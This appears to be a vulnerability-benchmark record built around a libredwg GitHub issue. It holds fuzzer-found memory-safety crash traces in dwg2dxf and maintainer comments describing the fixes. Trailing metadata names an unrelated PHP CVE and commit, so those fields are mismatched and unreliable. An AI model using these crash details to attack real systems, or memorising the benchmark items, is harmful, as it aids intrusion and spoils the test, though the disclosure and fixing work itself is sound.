==32310==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006740 at pc 0x7efd7e7806c5 bp 0x7ffe71660c30 sp 0x7ffe71660c28
WRITE of size 8 at 0x602000006740 thread T0
#0 0x7efd7e7806c4 in dwg_decode_eed_data /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2353:32
#1 0x7efd7e7806c4 in dwg_decode_eed /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2473
#2 0x7efd7e7757ce in dwg_decode_entity /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2683:12
#3 0x7efd7e64f874 in dwg_decode_LEADER_private /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2026:1
#4 0x7efd7e64f874 in dwg_decode_LEADER /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2026
#5 0x7efd7e64f874 in dwg_decode_add_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:3630
#6 0x7efd7e5fe3d9 in read_2004_section_handles /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2100:19
#7 0x7efd7e5fe3d9 in decode_R2004 /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2230
#8 0x7efd7e5e1049 in dwg_decode /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c
#9 0x7efd7e5bc4b1 in dwg_read_file /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.c:186:11
#10 0x513411 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:225:15
#11 0x7efd7d499b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#12 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399)
0x602000006740 is located 5 bytes to the right of 11-byte region [0x602000006730,0x60200000673b)
allocated by thread T0 here:
#0 0x4da478 in calloc /home/pwd/llvm_dev/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:97
#1 0x7efd7e77ea9f in dwg_decode_eed /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2470:47
#2 0x7efd7e7757ce in dwg_decode_entity /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2683:12
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2353:32 in dwg_decode_eed_data
Shadow bytes around the buggy address:
0x0c047fff8c90: fa fa 00 00 fa fa 04 fa fa fa 00 03 fa fa 04 fa
0x0c047fff8ca0: fa fa 00 03 fa fa 00 06 fa fa 00 00 fa fa 00 00
0x0c047fff8cb0: fa fa 00 00 fa fa 00 00 fa fa 04 fa fa fa 00 03
0x0c047fff8cc0: fa fa 04 fa fa fa 00 03 fa fa 00 06 fa fa 00 03
0x0c047fff8cd0: fa fa 00 06 fa fa 00 03 fa fa 00 06 fa fa 00 03
=>0x0c047fff8ce0: fa fa 00 06 fa fa 00 03[fa]fa fa fa fa fa fa fa
0x0c047fff8cf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8d00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8d10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8d20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8d30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==32310==ABORTING
```
### others
from fuzz project None
crash name None-00000003-1552381586.dwg
Auto-generated by pyspider at 2019-03-12 18:15:43
## [email protected]:2523-11___heap-buffer-overflow
### description
An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an heap-buffer-overflow in function dwg_dxf_LTYPE at dwg.spec:2523-11
### commandline
dwg2dxf @@ -o /dev/null
### source
```c
None
```
### bug report
```txt
=================================================================
==32330==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x608000015008 at pc 0x7eff104ff2d8 bp 0x7ffd1eb7a490 sp 0x7ffd1eb7a488
READ of size 1 at 0x608000015008 thread T0
#0 0x7eff104ff2d7 in dwg_dxf_LTYPE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2523:11
#1 0x7eff104de5c1 in dxf_tables_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1272:11
#2 0x7eff104b01d5 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1589:9
#3 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56
#4 0x7eff0edb9b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#5 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399)
0x608000015008 is located 8 bytes to the right of 96-byte region [0x608000014fa0,0x608000015000)
allocated by thread T0 here:
#0 0x4da478 in calloc /home/pwd/llvm_dev/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:97
#1 0x7eff0ff7c742 in dwg_add_LINE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:877:1
#2 0x7eff0ff7c742 in dwg_decode_LINE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:877
#3 0x7eff0ff7c742 in dwg_decode_add_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:3555
#4 0x7eff0ff1e3d9 in read_2004_section_handles /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2100:19
#5 0x7eff0ff1e3d9 in decode_R2004 /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2230
#6 0x7eff0ff01049 in dwg_decode /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c
#7 0x7eff0fedc4b1 in dwg_read_file /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.c:186:11
#8 0x513411 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:225:15
#9 0x7eff0edb9b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2523:11 in dwg_dxf_LTYPE
Shadow bytes around the buggy address:
0x0c107fffa9b0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x0c107fffa9c0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x0c107fffa9d0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x0c107fffa9e0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x0c107fffa9f0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c107fffaa00: fa[fa]fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x0c107fffaa10: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x0c107fffaa20: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x0c107fffaa30: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x0c107fffaa40: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x0c107fffaa50: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==32330==ABORTING
```
### others
from fuzz project None
crash name None-00000013-1552381572.dwg
Auto-generated by pyspider at 2019-03-12 18:15:44
## dxf_header_write@header_variables_dxf.spec:73-3___heap-buffer-overflow
### description
An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an heap-buffer-overflow in function dxf_header_write at header_variables_dxf.spec:73-3
### commandline
dwg2dxf @@ -o /dev/null
### source
```c
None
```
### bug report
```txt
=================================================================
==32334==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000005ae0 at pc 0x7f47f17c85b0 bp 0x7ffdfb1fa790 sp 0x7ffdfb1fa788
READ of size 8 at 0x602000005ae0 thread T0
#0 0x7f47f17c85af in dxf_header_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./header_variables_dxf.spec:73:3
#1 0x7f47f179d2c9 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1579:3
#2 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56
#3 0x7f47f00a7b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#4 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399)
0x602000005ae0 is located 8 bytes to the right of 8-byte region [0x602000005ad0,0x602000005ad8)
allocated by thread T0 here:
#0 0x4da478 in calloc /home/pwd/llvm_dev/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:97
#1 0x7f47f127cb11 in dwg_add_UNKNOWN_OBJ /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:5530:1
#2 0x7f47f127cb11 in dwg_decode_UNKNOWN_OBJ /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:5530
#3 0x7f47f127cb11 in dwg_decode_add_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:3809
#4 0x7f47f120c3d9 in read_2004_section_handles /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2100:19
#5 0x7f47f120c3d9 in decode_R2004 /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2230
#6 0x7f47f11ef049 in dwg_decode /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c
#7 0x7f47f11ca4b1 in dwg_read_file /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.c:186:11
#8 0x513411 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:225:15
#9 0x7f47f00a7b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./header_variables_dxf.spec:73:3 in dxf_header_write
Shadow bytes around the buggy address:
0x0c047fff8b00: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
0x0c047fff8b10: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
0x0c047fff8b20: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
0x0c047fff8b30: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
0x0c047fff8b40: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
=>0x0c047fff8b50: fa fa 00 fa fa fa 00 fa fa fa 00 fa[fa]fa 00 fa
0x0c047fff8b60: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
0x0c047fff8b70: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa 00 fa
0x0c047fff8b80: fa fa 00 fa fa fa 00 06 fa fa 00 06 fa fa 00 06
0x0c047fff8b90: fa fa 00 06 fa fa 00 06 fa fa 00 06 fa fa 00 06
0x0c047fff8ba0: fa fa 00 06 fa fa 00 06 fa fa 00 06 fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==32334==ABORTING
```
### others
from fuzz project None
crash name None-00000008-1552381574.dwg
Auto-generated by pyspider at 2019-03-12 18:15:45
## dwg_dxf_LTYPE@___null-pointer-dereference
### description
An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an null-pointer-dereference in function dwg_dxf_LTYPE at
### commandline
dwg2dxf @@ -o /dev/null
### source
```c
In file: /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.spec
2482 FIELD_RC (alignment, 72);
2483 }
2484 FIELD_RC (num_dashes, 73);
2485 REPEAT_C(num_dashes, dash, Dwg_LTYPE_dash)
2486 {
► 2487 PRE(R_13)
2488 {
2489 FIELD_RD (dash[rcount1].length, 49);
2490 #ifndef IS_PRINT
2491 FIELD_VALUE(pattern_len) += FIELD_VALUE(dash[rcount1].length);
2492 #endif
```
### bug report
```txt
AddressSanitizer:DEADLYSIGNAL
=================================================================
==32338==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fb4e3e7f99c bp 0x7ffe9fb40000 sp 0x7ffe9fb3ec00 T0)
==32338==The signal is caused by a READ memory access.
==32338==Hint: address points to the zero page.
#0 0x7fb4e3e7f99b in dwg_dxf_LTYPE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec
#1 0x7fb4e3e61658 in dxf_tables_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1275:20
#2 0x7fb4e3e331d5 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1589:9
#3 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56
#4 0x7fb4e273cb96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#5 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec in dwg_dxf_LTYPE
==32338==ABORTING
```
### others
from fuzz project None
crash name None-00000012-1552381601.dwg
Auto-generated by pyspider at 2019-03-12 18:15:45
## [email protected]:2471-3___null-pointer-dereference
### description
An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an null-pointer-dereference in function dwg_dxf_LTYPE at dwg.spec:2471-3
### commandline
dwg2dxf @@ -o /dev/null
### source
```c
None
```
### bug report
```txt
AddressSanitizer:DEADLYSIGNAL
=================================================================
==32342==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f7dab4ac4f0 bp 0x3ff0000000000018 sp 0x7fff577b50a0 T0)
==32342==The signal is caused by a READ memory access.
==32342==Hint: address points to the zero page.
#0 0x7f7dab4ac4ef in dwg_dxf_LTYPE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2471:3
#1 0x7f7dab48f5c1 in dxf_tables_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1272:11
#2 0x7f7dab4611d5 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1589:9
#3 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56
#4 0x7f7da9d6ab96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#5 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2471:3 in dwg_dxf_LTYPE
==32342==ABORTING
```
### others
from fuzz project None
crash name None-00000010-1552381589.dwg
Auto-generated by pyspider at 2019-03-12 18:15:45
## [email protected]:1323-3___null-pointer-dereference
### description
An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an null-pointer-dereference in function bit_convert_TU at bits.c:1323-3
### commandline
dwg2dxf @@ -o /dev/null
### source
```c
None
```
### bug report
```txt
AddressSanitizer:DEADLYSIGNAL
=================================================================
==32351==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7feaa5e0727e bp 0x000000000001 sp 0x7fffe83aecc0 T0)
==32351==The signal is caused by a READ memory access.
==32351==Hint: address points to the zero page.
#0 0x7feaa5e0727d in bit_convert_TU /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/bits.c:1323:3
#1 0x7feaa63f0ed0 in dwg_dxf_STYLE /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2425:13
#2 0x7feaa63f0ed0 in dxf_tables_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1319
#3 0x7feaa63bc1d5 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1589:9
#4 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56
#5 0x7feaa4cc5b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#6 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/bits.c:1323:3 in bit_convert_TU
==32351==ABORTING
```
### others
from fuzz project None
crash name None-00000001-1552381543.dwg
Auto-generated by pyspider at 2019-03-12 18:15:46
## [email protected]:2354-32___heap-buffer-overflow
### description
An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an heap-buffer-overflow in function dwg_decode_eed_data at decode.c:2354-32
### commandline
dwg2dxf @@ -o /dev/null
### source
```c
In file: /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c
2349 LOG_TRACE("raw: %s\n", data->u.eed_4.data);
2350 break;
2351 case 10: case 11: case 12: case 13: /*case 14: case 15:*/
2352 data->u.eed_10.point.x = bit_read_RD(dat);
2353 data->u.eed_10.point.y = bit_read_RD(dat);
► 2354 data->u.eed_10.point.z = bit_read_RD(dat);
2355 LOG_TRACE("3dpoint: %f, %f, %f\n",
2356 data->u.eed_10.point.x,
2357 data->u.eed_10.point.y,
2358 data->u.eed_10.point.z);
2359 break;
```
### bug report
```txt
=================================================================
==32355==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60300007ff11 at pc 0x7feedd1396cf bp 0x7ffeed7b1e10 sp 0x7ffeed7b1e08
WRITE of size 8 at 0x60300007ff11 thread T0
#0 0x7feedd1396ce in dwg_decode_eed_data /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2354:32
#1 0x7feedd1396ce in dwg_decode_eed /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2473
#2 0x7feedd12e7ce in dwg_decode_entity /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2683:12
#3 0x7feedd008874 in dwg_decode_LEADER_private /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2026:1
#4 0x7feedd008874 in dwg_decode_LEADER /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2026
#5 0x7feedd008874 in dwg_decode_add_object /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:3630
#6 0x7feedcfb73d9 in read_2004_section_handles /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2100:19
#7 0x7feedcfb73d9 in decode_R2004 /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2230
#8 0x7feedcf9a049 in dwg_decode /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c
#9 0x7feedcf754b1 in dwg_read_file /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/dwg.c:186:11
#10 0x513411 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:225:15
#11 0x7feedbe52b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#12 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399)
0x60300007ff11 is located 0 bytes to the right of 17-byte region [0x60300007ff00,0x60300007ff11)
allocated by thread T0 here:
#0 0x4da478 in calloc /home/pwd/llvm_dev/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:97
#1 0x7feedd137a9f in dwg_decode_eed /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2470:47
#2 0x7feedd12e7ce in dwg_decode_entity /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2683:12
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/decode.c:2354:32 in dwg_decode_eed_data
Shadow bytes around the buggy address:
0x0c0680007f90: fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 00 00
0x0c0680007fa0: 00 05 fa fa 00 00 00 02 fa fa 00 00 01 fa fa fa
0x0c0680007fb0: fd fd fd fd fa fa fd fd fd fd fa fa fd fd fd fa
0x0c0680007fc0: fa fa fd fd fd fd fa fa fd fd fd fd fa fa fd fd
0x0c0680007fd0: fd fd fa fa 00 00 00 05 fa fa 00 00 00 02 fa fa
=>0x0c0680007fe0: 00 00[01]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0680007ff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0680008000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c0680008010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c0680008020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c0680008030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==32355==ABORTING
```
### others
from fuzz project None
crash name None-00000004-1552381550.dwg
Auto-generated by pyspider at 2019-03-12 18:15:46
## [email protected]:2154-1___out-of-bounds-read
### description
An issue was discovered in libredwg 0.7 and 0.7.1645, There is a/an out-of-bounds-read in function dwg_dxf_BLOCK_CONTROL at dwg.spec:2154-1
### commandline
dwg2dxf @@ -o /dev/null
### source
```c
None
```
### bug report
```txt
AddressSanitizer:DEADLYSIGNAL
=================================================================
==32364==ERROR: AddressSanitizer: SEGV on unknown address 0x00207fff8003 (pc 0x7f4948e0cf48 bp 0x7fffdb01b150 sp 0x7fffdb01aee0 T0)
==32364==The signal is caused by a READ memory access.
#0 0x7f4948e0cf47 in dwg_dxf_BLOCK_CONTROL /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2154:1
#1 0x7f4948e0cf47 in dxf_tables_write /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1421
#2 0x7f4948dce1d5 in dwg_write_dxf /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/out_dxf.c:1589:9
#3 0x513785 in main /home/pwd/git-fuzz/libredwg/libredwg-0.7/programs/dwg2dxf.c:255:56
#4 0x7f49476d7b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#5 0x41a399 in _start (/home/pwd/git-fuzz/libredwg/libredwg-0.7/installed-asan/bin/dwg2dxf+0x41a399)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/pwd/git-fuzz/libredwg/libredwg-0.7/src/./dwg.spec:2154:1 in dwg_dxf_BLOCK_CONTROL
==32364==ABORTING
```
### others
from fuzz project None
crash name None-00000005-1552381649.dwg
Auto-generated by pyspider at 2019-03-12 18:15:47
[dwg2dxf.tar.gz](https://github.com/LibreDWG/libredwg/files/2956421/dwg2dxf.tar.gz)
And a same report send to [savannah.gnu.org/bugs](https://savannah.gnu.org/bugs/index.php?55893)
Comments:
Comment by rurban on 2019-03-12 14:59:22+00:00:
Fuzzing, nice!
---
Comment by rurban on 2019-04-20 17:35:50+00:00:
# [email protected]:2034-3___null-pointer-dereference:
Could repro it with 0.7.1645 and master.
This is at FIELD_3DPOINT_VECTOR in LEADER.
There are illegal size fields (num_points) in LEADER on decode, which are not yet set to 0.
```
num_points: 538181910 [BL 76]
ERROR: Invalid points size 538181910. Need min. 3229091460 bits for 3BD, have 1211 for LEADER
num_points: 96 [BL 76]
ERROR: Invalid points size 96. Need min. 576 bits for 3BD, have -1001 for LEADER
```
Fixed with c948548e175a9e5e4ed45623013ed20df62a920a
---
Comment by rurban on 2019-04-20 17:36:54+00:00:
# bit_read_B@___out-of-bounds-read
This is really a missing ENDBLK entity (missing in HANDLEs), which caused get_last_owned_block to fail. dwg_validate_INSERT needs to ensure that a valid ENDBLK is added.
so far added an empty dummy ENDBLK for DXF only.
Fixed with 0c6a267ca01b811e837d5cec17a30061b4081dd2 and then much better with 9e662ca7b5703be57d34dd1166997785ade83c27
---
Comment by rurban on 2019-04-22 12:53:16+00:00:
# [email protected]:2353-32___heap-buffer-overflow
This is a logical realloc mismatch in eed idx vs num_eed. leading to internal malloc corruption.
Handled in #104
---
Comment by rurban on 2019-04-23 06:13:16+00:00:
# [email protected]:2154-1___out-of-bounds-read
added dwg_block_control error handling.
fuzzing created an invalid DWG without initial BLOCK_CONTROL object. Check this and error.
Fixed with d8af38d3bfbf8e85d1cd4ce1695bf3c0bce5fecc
---
Comment by rurban on 2019-04-23 06:59:04+00:00:
# [email protected]:1323-3___null-pointer-dereference
Check NULL ptr at bit_convert_TU, and bypass STYLE.font_name dxf logic for NULL name.
Fixed with c6f58bcfe1bf07947a0a7ffed267bada19c82920
---
Comment by rurban on 2019-04-24 13:52:34+00:00:
All fuzzing vulns fixes now in master, also tested with asan. Thanks a lot.
Attachments:
https://github.com/LibreDWG/libredwg/files/2956421/dwg2dxf.tar.gz
Commit References:
d8af38d3bfbf8e85d1cd4ce1695bf3c0bce5fecc
0c6a267ca01b811e837d5cec17a30061b4081dd2
c6f58bcfe1bf07947a0a7ffed267bada19c82920
9e662ca7b5703be57d34dd1166997785ade83c27
c948548e175a9e5e4ed45623013ed20df62a920a
|
[
{
"content": "[libfuzzer]\ndetect_leaks=0\n",
"filename": "fuzz_dwg_decode.options"
}
] |
[
{
"sha": "c948548e175a9e5e4ed45623013ed20df62a920a",
"url": "https://github.com/libredwg/libredwg/commit/c948548e175a9e5e4ed45623013ed20df62a920a"
},
{
"sha": "0c6a267ca01b811e837d5cec17a30061b4081dd2",
"url": "https://github.com/libredwg/libredwg/commit/0c6a267ca01b811e837d5cec17a30061b4081dd2"
},
{
"sha": "9e662ca7b5703be57d34dd1166997785ade83c27",
"url": "https://github.com/libredwg/libredwg/commit/9e662ca7b5703be57d34dd1166997785ade83c27"
},
{
"sha": "d8af38d3bfbf8e85d1cd4ce1695bf3c0bce5fecc",
"url": "https://github.com/libredwg/libredwg/commit/d8af38d3bfbf8e85d1cd4ce1695bf3c0bce5fecc"
},
{
"sha": "c6f58bcfe1bf07947a0a7ffed267bada19c82920",
"url": "https://github.com/libredwg/libredwg/commit/c6f58bcfe1bf07947a0a7ffed267bada19c82920"
},
{
"sha": "f27d86b69b365b38a1f2a47fbb5ce62173584565",
"url": "https://github.com/LibreDWG/libredwg/commit/f27d86b69b365b38a1f2a47fbb5ce62173584565"
},
{
"sha": "35569c6a3f279dbab226bab4291e4512f164667f",
"url": "https://github.com/LibreDWG/libredwg/commit/35569c6a3f279dbab226bab4291e4512f164667f"
},
{
"sha": "d70515299b3d7b4755621182db1fbd7d32e62b7c",
"url": "https://github.com/LibreDWG/libredwg/commit/d70515299b3d7b4755621182db1fbd7d32e62b7c"
},
{
"sha": "3d7053eb248036dd9a724d08a17523d35617dcf3",
"url": "https://github.com/LibreDWG/libredwg/commit/3d7053eb248036dd9a724d08a17523d35617dcf3"
},
{
"sha": "4a35c30ac6484bb6a3b8dd1640829d0738005d69",
"url": "https://github.com/LibreDWG/libredwg/commit/4a35c30ac6484bb6a3b8dd1640829d0738005d69"
},
{
"sha": "3c81e1e155d4fd1d76093a003559134bb9951d07",
"url": "https://github.com/LibreDWG/libredwg/commit/3c81e1e155d4fd1d76093a003559134bb9951d07"
},
{
"sha": "1f2b333b6be84854b6a5350004c76904578ca5fc",
"url": "https://github.com/LibreDWG/libredwg/commit/1f2b333b6be84854b6a5350004c76904578ca5fc"
}
] |
php.cve-2018-7584
|
php/php-src
|
1f4b057b631f9c9672cfd180090d8f52197bf806
| 2018-02-23T18:43:10
|
php-src
|
c++
|
FROM hwiwonlee/secb.base:latest
